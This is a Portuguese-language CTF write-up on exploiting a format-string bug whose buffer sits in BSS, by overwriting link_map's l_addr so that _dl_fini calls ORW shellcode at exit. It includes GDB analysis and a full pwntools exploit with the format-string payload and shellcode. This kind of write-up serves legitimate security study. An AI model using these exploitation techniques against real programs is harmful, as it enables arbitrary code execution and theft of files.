Exploração de Format String Fora da Pilha: Sequestro do .fini_array

1. Sequestro do .fini_array

Recentemente participei de uma competição CTF e foi minha primeira vez resolvendo um desafio de format string não localizado na pilha, que anteriormente só havia visto na documentação do CTF Wiki. Aprendi fazendo e, após a última hora de competição, consegui resolver o problema. Usarei um desafio da competição como exemplo.

1.1 Desafio sign_format

Descrição: Um desafio de format string não-localizado na pilha. A exploração consiste em modificar um deslocamento dentro do array dl_fini, fazendo com que, ao final da execução do programa, um shellcode escrito na seção BSS seja executado.

Análise de proteções: PIE desabilitado, outras proteções ativas. Além disso, um sandbox está habilitado, necessitando a utilização de operações ORW.

Fluxo principal do programa:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  configurar_sandbox();
  puts("Bem-vindo!");
  puts("Esta é uma questão simples de registro.");
  puts("Vamos começar!");
  close(1);
  read(0, buffer_formato, 0x100uLL);
  printf(buffer_formato);
  return 0LL;
}

A leitura de uma longa sequência de dados ocorre, seguida da vulnerabilidade de format string. O fluxo de saída padrão (stdout) está fechado.

A variável buffer_formato está localizada na seção BSS, o que impede a modificação do endereço de retorno. A instrução %n em um format string interpreta endereços. Quando a string de formato não está na pilha, não é possível acessar endereços nela escritos para realizar uma escrita arbitrária. O endereço de retorno também se torna incontrolável.

Considera-se, portanto, a técnica de sequestro do .fini_array.

1.2 Sequestrando o .fini_array

Funcionalidade: Ao chamar a função exit, é possível executar código em um endereço arbitrário.

Pré-requisitos: É necessário modificar um valor na região de memória do ld.so. Supõe-se que este valor pode permanecer na pilha durante o processo de vinculação dinâmica.

1.2.1 Análise de Princípios

Veja o diagrama de fluxo de execução do programa (não representado visualmente aqui).

Durante a finalização da execução do programa, a função exit é chamada. Se controlarmos o ponteiro exit para o fini_array, é possível a execução arbitrária de código. Vamos analisar mais detalhadamente o parâmetro finiarray.

1.2.2 Função dl_fini

Ao chamar exit, a função dl_fini é invocada.

Originalmente, l->l_addr é 0, e o ponteiro l->l_info[DT_FINI_ARRAY]->d_un.d_ptr aponta para o endereço da seção fini_array do programa. Ou seja, l->l_info[DT_FINI_ARRAY]->d_un.d_ptr tem o valor 0x0000000000403D98.

Se pudermos controlar o ponteiro linkmap->l_addr, podemos deslocar a execução do programa para uma posição que controlamos e executar um shellcode. É crucial notar que este armazena um endereço de programa: 0x401200. Portanto, ao forjar l_addr, o valor após o deslocamento deve ser o endereço do shellcode.

Então, como controlar l_addr através de uma format string? A resposta envolve um ponteiro remanescente do ld.so na pilha.

1.3 Análise Dinâmica com GDB

Após a conclusão da função main, a execução salta para a função exit.

Ao entrar na função exit, observa-se que ela chama a função __run_exit_handlers.

Continuando o passo a passo, esta função chama a função __dl_fini, que então executa a instrução call rax.

Verificando o endereço em rax, ele aponta para 0x40406b, que por sua vez aponta para 0x404073. Este valor já foi modificado por nós. Originalmente, rax deveria ser 0x0403D98 -> 0x401200, que levaria à execução do seguinte código:

Na função dl_fini:

Quando modificamos l_addr, array[i] se torna controlável.

Apenas precisamos calcular 0x40406B - 0x403D98 = 723 para saber o valor que devemos atribuir a l_addr. A questão então é: como alterar esse valor?

1.4 Modificando o Campo l->l_addr do ElfW para Sequestrar a Execução do fini_array

Conforme mencionado, existe um endereço remanescente do ld.so na pilha. Supõe-se que isso seja um resíduo do processo de vinculação dinâmica. Neste desafio, é o endereço rosa cujos últimos dígitos são 0x2e0. O valor armazenado lá, 0x2d3 (que é 723), já foi modificado por nós após a exploração da format string. Originalmente, o valor armazenado era 0, correspondendo a l->l_addr = 0.

Especificamente na função dl_fini:

A instrução add rax, qword ptr [r15] é executada. Aqui, r15 contém o dado do ld.so presente na pilha. Assim, basta usar a vulnerabilidade de format string para modificar o valor armazenado no endereço do ld.so. Isso controlará o valor em rax, alterando-o de 0x401200+0x0 para o endereço do shellcode que desejamos executar.

Isso corresponde a l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr, reusltando no sequestro do fini_array.

O valor numérico exato já foi calculado: 0x40406B - 0x403D98 = 723. O próximo passo é encontrar o deslocamento na format string para este endereço do ld.so e, então, modificar o dado armazenado de 0 para 723.

Nota Adicional:

Durante a execução de dl_fini, há momentos em que o valor de rax é 0x403e00. Este é, na verdade, o endereço da seção .dynamic, que contém a tabela de informações de endereços para funções de vinculação dinâmica ou outros dados. O valor exato depende da análise específica.

Estrutura Relacionada:

typedef struct{
    ELF64_Sxword d_tag;
    union{
        ELF64_Xword d_val;
        ELF64_Addr d_ptr;
    } d_un;
} ELF64_Dyn;

Esta estrutura utiliza o primeiro campo d_tag para determinar a finalidade do segundo campo. Neste caso, é usado para localizar o deslocamento de dl_fini. Quem já estudou ret2dlresolve deve estar familiarizado com isso.

1.5 Exploit

from pwn import *

# Configurações do binário e da biblioteca
caminho_binario = "./desafio_format"
elf = ELF(caminho_binario)
biblioteca = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Parâmetros de conexão
endereco_ip = 'endereco.do.servidor'
porta_conexao = 47726
execucao_local = True

if execucao_local:
    processo_alvo = process(caminho_binario)
else:
    processo_alvo = remote(endereco_ip, porta_conexao)

context(log_level='debug', os='linux', arch='amd64')

def depurar():
    gdb.attach(processo_alvo)
    pause()

enviar = lambda dados: processo_alvo.send(dados)
enviar_linha = lambda dados: processo_alvo.sendline(dados)
enviar_apos = lambda texto, dados: processo_alvo.sendafter(texto, dados)
enviar_linha_apos = lambda texto, dados: processo_alvo.sendlineafter(texto, dados)
receber = lambda: processo_alvo.recv()
receber_ate = lambda texto: processo_alvo.recvuntil(texto)
desempacotar64 = lambda: u64(processo_alvo.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

# Endereços importantes
endereco_leitura_main = 0x0040144A
endereco_bss = 0x0404060
endereco_fini_array = 0x403d90

# Cálculo do deslocamento necessário
valor_deslocamento = 0x40406B - 0x403D98  # Resultado: 723

# Payload de formatação para escrever 723 no endereço alvo
payload_formato = b"%" + f"{valor_deslocamento}c%34$hn".encode()
endereco_alvo_escrita = 0x40406b + 8

# Shellcode para operações ORW (Open, Read, Write)
shellcode_orw = asm("""
    push 0x67616c66
    push 2
    pop rax
    mov rdi, rsp
    xor rsi, rsi
    syscall
    mov rdi, rax
    xor rax, rax
    mov rsi, 0x404200
    push 0x30
    pop rdx
    syscall
    push 1
    pop rax
    push 2
    pop rdi
    mov rsi, 0x404200
    push 0x30
    pop rdx
    syscall
""")

# Montagem do payload final
payload_final = payload_formato + p64(endereco_alvo_escrita) + shellcode_orw

# Envio do payload e interação
depurar()
enviar_linha(payload_final)
processo_alvo.interactive()

Publicado em 6-30 18:43